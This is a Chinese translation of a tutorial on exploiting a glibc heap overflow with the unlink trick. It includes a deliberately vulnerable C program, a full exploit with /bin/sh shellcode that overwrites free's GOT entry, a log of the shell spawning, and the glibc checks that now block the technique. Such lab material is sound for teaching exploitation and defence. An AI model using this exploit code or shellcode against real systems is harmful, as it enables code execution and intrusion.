使用 unlink 的堆溢出

译者:飞龙

原文:Heap overflow using unlink

预备条件:

  1. 理解 glibc malloc

这篇文章中,让我们了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前,首先让我们看看漏洞程序:

/* Heap overflow vulnerable program. */
#include <stdlib.h>
#include <string.h>int main( int argc, char * argv[] )
{char * first, * second;/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

上面程序的行[3]会导致堆溢出。用户输入argv[1]复制给了堆缓冲区first,没有任何大小限制。因此,当用户输入大于 666 字节时,它就会覆盖下一个块的头部。这个溢出会导致任意代码执行。

看一看漏洞程序的堆内存图片:

unlink:这个技巧的核心思想,就是欺骗 glibc malloc 来 unlink 第二个块。unlink free的 GOT 条目会使其被 shellcode 地址覆盖。在成功覆盖之后,现在在行[5]free被漏洞程序调用时,shellcode 就会执行。不是很清楚嘛?没问题,首先让我们看看执行free时,glibc malloc 在干什么。

如果没有攻击者影响,行[4]free会做这些事情:

  • 对于不是 mmap 的块,会向前或向后合并。
  • 向后合并
    • 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的PREV_INUSE(P)位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。
    • 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块first不能向后合并。
  • 向前合并
    • 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块是 top 块,它的PREV_INUSE位已设置。因此下一个块second不是空闲的。
    • 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。但是我们这里,下一个块是分配的,因此 unlink 不会调用。当前空闲块first不能向前合并。
  • 现在将合并后的块添加到 unsorted bin 中。我们这里,由于合并没有发生,只将first块添加到票 unsorted bin 中。

现在让我们假设,攻击者在行[3]覆盖了second块的块头部,像这样:

  • prev_size为偶数,因此PREV_INUSE是未设置的,
  • size = -4
  • fdfree的地址减 12
  • bk为 Shellcode 的地址

在攻击者的影响下,行[4]free会做下面的事情:

  • 对于不是 mmap 的块,会向前或向后合并。
  • 向后合并
    • 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的PREV_INUSE(P)位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。
    • 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块first不能向后合并。
  • 向前合并
    • 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE (P)位未设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块不是 top 块。下下个块在second块的 -4 偏移处,因为攻击者将second块的大小覆盖成了 -4。因此现在 glibc malloc 将second块的prev_inuse字段看做下下个块的大小字段。由于攻击者覆盖了一个偶数(也就是PREV_INUSE (P)为是没有设置的)来代替prev_size,glibc malloc 被欺骗来相信second块是空闲的。
    • 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。我们这里下一个块是空闲的,因此second块会像这样被 unlink:
      • second块的fdbk值复制到FDBK变量中。这里,FDfree的地址 -12,BK是 shellcode 的地址(作为堆溢出的一部分,攻击者将它的 shellcode 放到了first堆缓冲区中)。
      • BK的值复制到了距离FD偏移为 12 的位置。我们这里将 12 字节加到FD,就指向了free的 GOT 条目,因此现在free的 GOT 条目就覆盖成了 shellcode 地址。好的。现在无论free在哪里调用,shellcode 都会执行。因此漏洞程序中行[5]的执行会导致 shellcode 执行。
    • 现在将合并后的块添加到 unsorted bin 中。

看看漏洞程序的堆内存的图片,在攻击者影响用户输入之后:

理解了 unlink 技巧之后,让我们编写利用程序吧。

/* Program to exploit 'vuln' using unlink technique.*/
#include <string.h>
#include <unistd.h>#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. #define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1char shellcode[] =/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function(by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/"\xeb\x0assppppffff""\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";int main( void )
{char * p;char argv1[ 680 + 1 ];char * argv[] = { VULNERABLE, argv1, NULL };p = argv1;/* the fd field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the bk field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the fd_nextsize field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* the bk_nextsize field of the first chunk */*( (void **)p ) = (void *)( DUMMY );p += 4;/* Copy the shellcode */memcpy( p, shellcode, strlen(shellcode) );p += strlen( shellcode );/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize of first chunk */memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );p += 4;/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/*( (size_t *)p ) = (size_t)( -4 );p += 4;/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink functionwould do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in second chunk's bk field (see below) */*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );p += 4;/* the bk field of the second chunk. It should point to shell code address.*/*( (void **)p ) = (void *)( CODE_ADDRESS );p += 4;/* the terminating NUL character */*p = '';/* the execution of the vulnerable program */execve( argv[0], argv, NULL );return( -1 );
}

执行上述程序会派生新的 shell。

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$

保护:现在,unlink 技巧不起作用了,因为 glibc malloc 在近几年变得更可靠。添加下面的检查来放置使用 unlink 技巧的堆溢出。

  • 二次释放:释放一个已经在空闲列表的块是不允许的。当攻击者使用 -4 覆盖第二个块时,它的PREV_INUSE为没有设置,这意味着first已经是空闲状态了。因此 glibc malloc 会抛出二次释放错误。

    if (__glibc_unlikely (!prev_inuse(nextchunk)))
    {errstr = "double free or corruption (!prev)";goto errout;
    
  • 下一个块大小无效:下一个块的大小应该在 8 到 arena 的全部系统内存之间。当攻击者将second块的大小赋为 -4 时,glibc malloc 就会抛出下一个块大小无效的错误。

    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (nextsize >= av->system_mem, 0))
    {errstr = "free(): invalid next size (normal)";goto errout;
    }
  • 双向链表指针破坏:前一个块的fd和下一个块的bk应该指向当前 unlink 块。当攻击者使用free -12和 shellcode 地址覆盖fdbk时,free和 shellcode 地址 + 8 就不会指向当前 unlink 块(second)。因此 glibc malloc 就抛出双向链表指针破坏错误。

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     malloc_printerr (check_action, "corrupted double-linked list", P);

注意:出于演示目的,漏洞程序不适用下列 Linunx 保护机制编译:

  • ASLR
  • NX
  • RELRO(重定向只读)

参考

  • vudo malloc tricks

Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出相关推荐

  1. SploitFun Linux x86 Exploit 开发系列教程

    SploitFun Linux x86 Exploit 开发系列教程 原文:Linux (x86) Exploit Development Series 在线阅读 PDF格式 EPUB格式 MOBI格 ...

  2. Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出

    使用 Malloc Maleficarum 的堆溢出 译者:飞龙 原文:Heap overflow using Malloc Maleficarum 预备条件: 理解 glibc malloc 从 2 ...

  3. linux的地址随机化ASLR,[翻译]Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)...

    前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻击者需要知道下面两样事情 堆栈地址(跳转到shellcode) libc基地址(成功 ...

  4. Linux (x86) Exploit 开发系列教程之十二 释放后使用

    释放后使用 译者:飞龙 原文:Use-After-Free 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc malloc VM 配置:Fedora 20(x86) 什么是释放后使用 ...

  5. Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

    绕过 ASLR – 第三部分 译者:飞龙 原文:Bypassing ASLR – Part III 预备条件: 经典的基于栈的溢出 绕过 ASLR – 第一部分 VM 配置:Ubuntu 12.04 ...

  6. aslr oracle,Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

    绕过 ASLR – 第三部分 预备条件: VM 配置:Ubuntu 12.04 (x86) 在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧.来绕过共享库地址随机化.我们在第一部分中提到过, ...

  7. Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)

    Off-By-One 漏洞(基于堆) 译者:飞龙 原文:Off-By-One Vulnerability (Heap Based) 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc ...

  8. Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

    (1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...

  9. Exploit开发系列教程-Mona 2 SEH

    P3nro5e · 2015/07/10 10:58 0x00 Mona 2 前言 & 准备 Mona 2是一种非常有用的插件,它由Corelan Team开发.起初是为Immunity De ...

最新文章

  1. JSP与ASP的比较
  2. python计算时间差
  3. ajax 填充,自动填充ajax请求
  4. 最常见的Java异常及其对Java开发人员的评价
  5. 从前M个字母中取N个的无重复排列(回溯)
  6. Phoenix命令及语法
  7. Java编程语言下 Selenium 驱动各个浏览器代码
  8. MFC编程入门之二十一(常用控件:编辑框Edit Control)
  9. ds哈希查找--链地址法_Hash冲突之开放地址法
  10. 有必要考国二mysql_国二证有用吗
  11. 外螺纹对照表_螺纹螺距对照表
  12. matlab求解普通函数的导数问题(diff函数的用法)
  13. Biobank genetic data探析(三)
  14. 蘑菇租房java,租房经历总结-----我是如何2天找到合适租房的(房东直租)简单粗暴...
  15. 通过PS营造艺术的碎片效果人像
  16. 【Swift】401状态处理流程
  17. 过支付宝反Xposed登录检测
  18. 华为云CDN加速服务:让你体验不一样的云提速
  19. AI推理服务平台升级,阿里云机器学习PAI推出新规格
  20. Istio服务网格进阶①:Istio服务网格核心理论概念

热门文章

  1. mqtt server python_使用python实现mqtt的发布和订阅
  2. 如何解锁excel表格保护_Excel表格技巧—如何计算矩阵相乘
  3. 基于modelsim的十个Verilog入门试验程序(2)(JK触发器+环形计数器)—程序+测试代码+波形+结果分析
  4. 【蓝桥杯嵌入式】【STM32】1_LED之点灯仪式
  5. c语言函数实际参数,C语言:函数声明与定义的参数不一致问题,后果可能很严重哦!!!!!...
  6. php gettext 为空,PHP Gettext
  7. linux多线程学习(七)——实现“生产者和消费者”
  8. 华硕服务器性能,华硕45nm四核服务器主板突破性能瓶颈
  9. SpringMVC框架第三天
  10. Java并发编程:synchronized